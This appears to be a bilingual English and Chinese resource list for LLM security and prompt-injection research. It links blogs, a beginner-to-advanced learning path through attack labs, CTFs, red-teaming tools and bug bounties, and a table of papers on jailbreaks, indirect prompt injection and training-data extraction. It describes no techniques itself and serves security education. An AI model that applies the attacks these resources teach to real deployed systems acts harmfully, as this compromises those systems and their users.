prompt injection research / 间接提示词注入研究 ### Newsletters & Blogs / 时事通讯与博客 - [The Batch — DeepLearning.AI](https://www.deeplearning.ai/the-batch/) — Weekly AI news / AI 每周资讯 - [Simon Willison's Weblog](https://simonwillison.net/) — Authoritative LLM security commentary / 权威的 LLM 安全评论 -[HiddenLayer Research](https://hiddenlayer.com/research/) — AI security research / AI 安全研究 -[Lakera Blog](https://www.lakera.ai/blog) — LLM security insights / LLM 安全洞察 - [PortSwigger Research](https://portswigger.net/research) — Web + AI security research / Web + AI 安全研究 --- ## Suggested Learning Path by Experience Level / 按经验水平推荐的学习路径 ### 🟢 Beginner (0–3 months) / 🟢 初学者（0-3 个月） 1. Complete [PortSwigger Web Security Academy](https://portswigger.net/web-security) fundamentals / 完成 PortSwigger 基础实验 2. Learn Python basics / 学习 Python 基础 3. Take[Google ML Crash Course](https://developers.google.com/machine-learning/crash-course) / 学习 Google 机器学习速成课程 4. Read [OWASP LLM Top 10](https://genai.owasp.org/) / 阅读 OWASP LLM Top 10 5. Play [Gandalf](https://gandalf.lakera.ai/) — all levels / 通关 Gandalf 的所有级别 6. Read[Simon Willison's prompt injection article](https://simonwillison.net/2023/May/2/prompt-injection-explained/) / 阅读 Simon Willison 关于提示词注入的文章 7. Watch[Andrej Karpathy — Intro to LLMs](https://www.youtube.com/watch?v=zjkBMFhNj_g) / 观看 Andrej Karpathy 深入浅出 LLM 视频 ### 🟡 Intermediate (3–9 months) / 🟡 进阶者（3-9 个月） 1. Study[MITRE ATLAS Matrix](https://atlas.mitre.org/matrices/ATLAS/) / 学习 MITRE ATLAS 矩阵 2. Complete [PortSwigger LLM Attack labs](https://portswigger.net/web-security/llm-attacks) / 完成 PortSwigger LLM 攻击实验 3. Set up and exploit [Damn Vulnerable LLM Agent](https://github.com/WithSecureLabs/damn-vulnerable-llm-agent) / 部署并攻破 Damn Vulnerable LLM Agent 靶场 4. Complete [Prompt Airlines](https://promptairlines.com/) and [Crucible](https://crucible.dreadnode.io/) challenges / 完成 Prompt Airlines 和 Crucible 的挑战 5. Read the [LLM Hacker's Handbook](https://github.com/forcesunseen/llm-hackers-handbook) / 阅读《LLM 黑客手册》 6. Study the [Embrace the Red blog](https://embracethered.com/blog/) in full / 全面学习 Embrace the Red 博客文章 7. Experiment with [Garak](https://github.com/leondz/garak) and [PyRIT](https://github.com/Azure/PyRIT) / 试用 Garak 和 PyRIT 工具 8. Try[Offensive ML Playbook](https://wiki.offsecml.com/Welcome+to+the+Offensive+ML+Playbook) / 尝试 Offensive ML Playbook ### 🔴 Advanced (9+ months) / 🔴 高级/专家（9个月以上） 1. Participate in [AI Village CTF at DEF CON](https://aivillage.org/) / 参加 DEF CON 的 AI Village CTF 2. Submit findings to[Huntr](https://huntr.com/) or [OpenAI Bug Bounty](https://bugcrowd.com/openai) / 向 Huntr 或 OpenAI 提交漏洞发现 3. Study adversarial ML with [ART](https://github.com/Trusted-AI/adversarial-robustness-toolbox) and [CleverHans](https://github.com/cleverhans-lab/cleverhans) / 使用 ART 和 CleverHans 学习对抗性机器学习 4. Read academic papers on model inversion, membership inference, and data extraction / 阅读有关模型逆向、成员推理和数据提取的学术论文 5. Contribute to open source tools like [Garak](https://github.com/leondz/garak) or [AI Exploits](https://github.com/protectai/ai-exploits) / 为 Garak 或 AI Exploits 等开源工具做贡献 6. Build your own vulnerable LLM demo environment / 构建属于自己的含有漏洞的 LLM 演示环境 7. Write and publish research — blog posts, CVEs, conference talks / 撰写并发表研究成果 — 博客文章、CVE、会议演讲 --- ## Key Academic Papers / 核心学术论文 | Paper (论文) | Year (年份) | |---|---| | [Explaining and Harnessing Adversarial Examples — Goodfellow et al.](https://arxiv.org/abs/1412.6572)
解释和利用对抗样本 | 2014 | | [Extracting Training Data from Large Language Models — Carlini et al.](https://arxiv.org/abs/2012.07805)
从大语言模型中提取训练数据 | 2021 | |[Not What You've Signed Up For: Compromising Real-World LLM-Integrated Applications with Indirect Prompt Injection — Greshake et al.](https://arxiv.org/abs/2302.12173)
这不是你想要的服务：利用间接提示词注入攻破真实世界的 LLM 应用程序 | 2023 | |[Membership Inference Attacks against Machine Learning Models — Shokri et al.](https://arxiv.org/abs/1610.05820)
针对机器学习模型的成员推理攻击 | 2017 | | [Universal and Transferable Adversarial Attacks on Aligned Language Models — Zou et al.](https://arxiv.org/abs/2307.15043)
对已对齐语言模型的通用且可转移的对抗性攻击 | 2023 | |[Jailbroken: How Does LLM Safety Training Fail? — Wei et al.](https://arxiv.org/abs/2307.02483)
越狱：LLM 安全训练是如何失效的？ | 2023 | | [Prompt Injection attack against LLM-integrated Applications](https://arxiv.org/abs/2306.05499)
针对 LLM 集成应用程序的提示词注入攻击 | 2023 | --- *Last updated: 2025 | Contributions welcome — submit a PR with new resources.* *最后更新：2025 年 | 欢迎贡献 — 提交 PR 添加新资源。*